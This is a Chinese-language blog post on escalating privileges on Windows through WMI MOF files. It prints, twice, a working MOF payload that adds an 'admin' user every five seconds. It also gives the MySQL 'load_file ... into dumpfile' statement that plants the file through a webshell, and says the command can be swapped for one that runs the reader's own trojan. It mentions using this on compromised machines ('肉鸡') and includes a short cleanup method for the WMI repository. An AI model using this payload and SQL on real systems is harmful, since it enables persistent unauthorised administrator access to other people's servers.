Windows 管理规范 (WMI) 提供了以下三种方法编译到WMI存储库的托管对象格式 (MOF) 文件:
方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法2: 使用 IMofCompiler 接口和 $ CompileFile 方法。
方法 3: 拖放到%SystemRoot%\System32\Wbem\MOF文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,
或使用 IMofCompiler::CompileFile 方法。
注意:
第三种方法仅为向后兼容性与早期版本(win2003)的 WMI 提供,
并因为此功能可能不会提供在将来的版本后,不应使用。
鬼哥:
我现在只想知道怎么停止已执行的mof,
昨天测试的时候放了个.mof到
C:\WINDOWS\system32\wbem\mof\
从昨天晚上一直到现在还在每过5秒就执行次加个用户,
搞的我郁闷死了。。。
解决办法:
第一 net stop winmgmt 停止服务,
第二 删除文件夹:C:\WINDOWS\system32\wbem\Repository\
第三 net start winmgmt 启动服务
第四:完毕不会在执行了。
C:\WINDOWS\system32\wbem\Repository\ 放的是储存库 我们执行的.mof都会被加入到这个库了。
然后一直按脚本设置的时间执行。。
删除后 重新启动 会重建个默认储存库 这样我们先前执行mof就没了。
——————————-XXX.MOF———————————————————–
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
——————————-XXX.MOF end———————————————————–
最近的MYSQL提权也是利用此法.
1.找个可写目录,上传mof文件
2.执行sql
select load_file(‘C:\\RECYCLER\\nullevt.mof’) into
dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day 利用
这个:MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day
http://www.exploit-db.com/exploits/23083/
大致看了一下,原来是在导出文件的时候出的问题,具体怎么出的问题,表示看mysql的源码不是我能看的来的。。
大家都知道,要对方开启mysql的外联,并且有root密码,这种情况只能用来扫肉鸡了,还蛋疼的不行。所以我感觉用在webshell下辅助提权不错,毕竟如果导udf什么相对麻烦了一些。所以就有下面的利用:
1.找个可写目录,我这里是C:\recycler\,把如下代码写到nullevt.mof文件里(也就是他源码里的payload):
- #pragma namespace(“\\\\.\\root\\subscription”)
- instance of __EventFilter as $EventFilter
- {
- EventNamespace = “Root\\Cimv2”;
- Name = “filtP2”;
- Query = “Select * From __InstanceModificationEvent “
- “Where TargetInstance Isa \”Win32_LocalTime\” “
- “And TargetInstance.Second = 5”;
- QueryLanguage = “WQL”;
- };
- instance of ActiveScriptEventConsumer as $Consumer
- {
- Name = “consPCSV2”;
- ScriptingEngine = “JScript”;
- ScriptText =
- “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;
- };
- instance of __FilterToConsumerBinding
- {
- Consumer = $Consumer;
- Filter = $EventFilter;
- };
注意上面的net.exe user admin admin /add,可以随便改的,想执行啥都行,有没有参数也都行,执行自己的马也行。
再然后,在菜刀里连接mysql数据库后执行:
- select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
再然后。。你会发现用户添加上去了。
注:测试环境为windows 2003 + mysql 5.0.45-community-nt
win7旗舰版 sp1 + mysql-5.5.28 测试失败,2008未测试。
不过那个利用ADS新建\lib\plugin目录的bug还在,还可以利用那个去导udf提权的。
注:经亲自测试,添加上的不是默认管理权限,所以你可以在做更改exp的代码,提升到管理员权限,还有就是改exp会每隔5秒再次添加,删了会再次添加、解决方法未知
转载请注明:jinglingshu的博客 » MOF文件提权